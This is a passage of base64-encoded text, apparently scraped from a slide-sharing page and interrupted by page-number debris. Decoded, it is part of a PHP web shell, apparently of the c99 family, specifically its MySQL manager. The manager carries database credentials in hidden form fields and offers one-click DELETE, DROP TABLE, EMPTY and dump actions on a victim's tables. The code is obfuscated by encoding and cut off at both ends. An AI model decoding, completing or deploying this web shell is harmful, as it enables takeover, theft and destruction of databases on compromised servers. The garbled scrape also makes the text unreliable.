dXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAx OyIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCku Iic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7ZG9jdW1l bnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQuc3FsLnN1 Ym1pdCgpO1wiPjxiPkRFTDwvYj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwi I1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5z cWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVu dC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4i Jztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf c2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRz cWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2FjdC52YWx1ZT0naW5zZXJ0Jztkb2N1bWVu dC5zcWwuc3FsX3RibF9pbnNlcnRfcS52YWx1ZT0nIi51cmxlbmNvZGUoJHcpLiInO2RvY3VtZW50 LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7ZG9jdW1lbnQuc3FsLnNxbF90Ymxf bGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPkVE SVQ8L2I+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwv dHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAg ZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxz ZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwi PldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJk ZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7 PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQog ICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5 KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2Vj aG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8 YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCBuYW1lPSdhY3QnIHR5cGU9J2hpZGRlbicg dmFsdWU9J3NxbCc+PGlucHV0IG5hbWU9J3NxbF9sb2dpbicgdHlwZT0naGlkZGVuJyB2YWx1ZT0n Ii4kc3FsX2xvZ2luLiInPjxpbnB1dCBuYW1lPSdzcWxfc2VydmVyJyB0eXBlPSdoaWRkZW4nIHZh bHVlPSciLiRzcWxfc2VydmVyLiInPjxpbnB1dCBuYW1lPSdzcWxfcG9ydCcgdHlwZT0naGlkZGVu JyB2YWx1ZT0nIi4kc3FsX3BvcnQuIic+PGlucHV0IG5hbWU9J3NxbF9kYicgdHlwZT0naGlkZGVu JyB2YWx1ZT0nIi4kc3FsX2RiLiInPjxpbnB1dCBuYW1lPSdzcWxfcGFzc3dkJyB0eXBlPSdoaWRk ZW4nIHZhbHVlPSciLiRzcWxfcGFzc3dkLiInPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNv bG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAz MzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBl PVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxj ZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48 Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+ PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQog ICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRy b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQog ICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRy b3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJd KTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJj aGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwv dGQ+IjsNCg0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3
  22. 22. ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiInO2RvY3Vt ZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3Rk PiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNo byAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1si Q3JlYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90 aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOw0KDQogICAg ICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5h Y3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3F1ZXJ5Jztkb2N1bWVu dC5zcWwuc3FsX3F1ZXJ5LnZhbHVlPSciLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1si TmFtZSJdLiJgIikuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZh bHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxf cG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnN1Ym1p dCgpO1wiPjxiPkVNUFQ8L2I+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1c ImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9 J3F1ZXJ5Jztkb2N1bWVudC5zcWwuc3FsX3F1ZXJ5LnZhbHVlPSciLnVybGVuY29kZSgiRFJPUCBU QUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVl PSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNz d2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9j dW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4i Jztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1 bWVudC5zcWwuc3VibWl0KCk7XCI+PGI+RFJPUDwvYj48L2E+Jm5ic3A7PGEgaHJlZj1cIiNcIiBv bmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX3Ri bC52YWx1ZT0nIi4kcm93WyJOYW1lIl0uIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfYWN0LnZhbHVl PSdpbnNlcnQnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0n Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxf ZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtc Ij48Yj5JTlM8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAg ICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsN CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPrs8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAg ZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsN CiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0 ZD4iLiRyb3dbMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7 DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxi PiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PC90ZD4i Ow0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFc IiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsN CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7 DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0K ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0K ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAg ICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+ IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRh YmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5S ZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFu YWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZu YnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4i Ow0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgIH0NCiAgICB9DQogICB9 DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNl

×